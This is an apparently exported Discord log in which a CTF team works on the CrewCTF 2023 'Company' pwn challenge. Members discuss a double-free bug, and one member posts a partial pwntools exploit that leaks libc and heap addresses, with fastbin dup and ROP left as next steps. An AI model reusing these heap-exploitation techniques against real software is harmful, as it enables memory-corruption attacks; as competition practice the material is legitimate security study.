Guild icon
Project Sekai
🔒 CrewCTF 2023 / ✅-pwn-company
Avatar
Company - 1000 points
Category: Pwn Description: I try to build a startup company i think it's safe from data breach Author : Linz nc company.chal.crewc.tf 17001 Files:Tags: No tags.
Sutx pinned a message to this channel. 07/07/2023 10:02 PM
Avatar
@Zafirr wants to collaborate 🤝
Avatar
this is simple, feedback isnt nulled so we get uaf if we malloc the same chunk
22:17
not pure uaf, but atleast double free
22:23
i think i can just free the global name variable
Avatar
@nyancat0131 wants to collaborate 🤝
Avatar
#!/usr/bin/env python3 from pwn import * exe = ELF("./company_patched") libc = ELF("./libc.so.6") ld = ELF("./ld-linux-x86-64.so.2") context.binary = exe def conn(): if args.LOCAL: r = process(exe.path, env={"LD_PRELOAD": libc.path}) if args.DEBUG: gdb.attach(r) else: r = remote("addr", 1337) return r def add_employee(ind, name, position, salary): p.sendlineafter(">>", b"1") p.sendlineafter("Index:", str(ind)) p.sendlineafter("Name:", name) p.sendlineafter("Position:", position) p.sendlineafter("Salary:", str(salary)) def fire_employee(ind): p.sendlineafter(">>", b"2") p.sendlineafter("Index:", str(ind)) def give_feedback(ind1, ind2, feedback): p.sendlineafter(">>", b"3") p.sendlineafter("are?", str(ind1)) p.sendlineafter("?", str(ind2)) p.sendlineafter("Feedback:", feedback) def view_feedback(ind): p.sendlineafter(">>", b"4") p.sendlineafter("see?", str(ind)) to_free = 0x404070 p = conn() p.sendlineafter("name", p64(0) + p64(0x61)) add_employee(0, "HR", b"HR\0", 1234) add_employee(1, "not HR", "not HR", 1234) add_employee(2, "not HR", "not HR", 1234) give_feedback(0, 1, p64(to_free)*9) fire_employee(1) add_employee(1, "not HR", "not HR", 1234) fire_employee(1) add_employee(1, "A"*0x10 + "HR\0", p64(0x404020) + p64(0x4040b0) + p64(0x404050) + p64(0x404070), 0x404058) view_feedback(0) libc_leak = u64(p.recvuntil("\x7f")[-6:] + b'\0\0') view_feedback(3) p.recvuntil("Feedback:") heap_leak = u64(p.recvline().strip().ljust(8, b'\0')) print(hex(libc_leak)) print(hex(heap_leak)) libc_base = libc_leak - 0x22d780 # do the rest p.interactive()
22:43
too lazy to continue
22:43
its just fastbin dup after this
Avatar
do it
22:50
nicejob
Avatar
@Surg wants to collaborate 🤝
Avatar
Avatar
nyancat0131
do it
fine....
Avatar
sorry
Avatar
nah its chill
22:52
i just havent taken shower
22:52
so smelly
Avatar
its so annoying (edited)
23:02
seccomp so i have to rop
23:02
fuck you linz
Avatar
Avatar
Zafirr
used /ctf solve
✅ Challenge solved.
Avatar
final script?
Exported 24 message(s)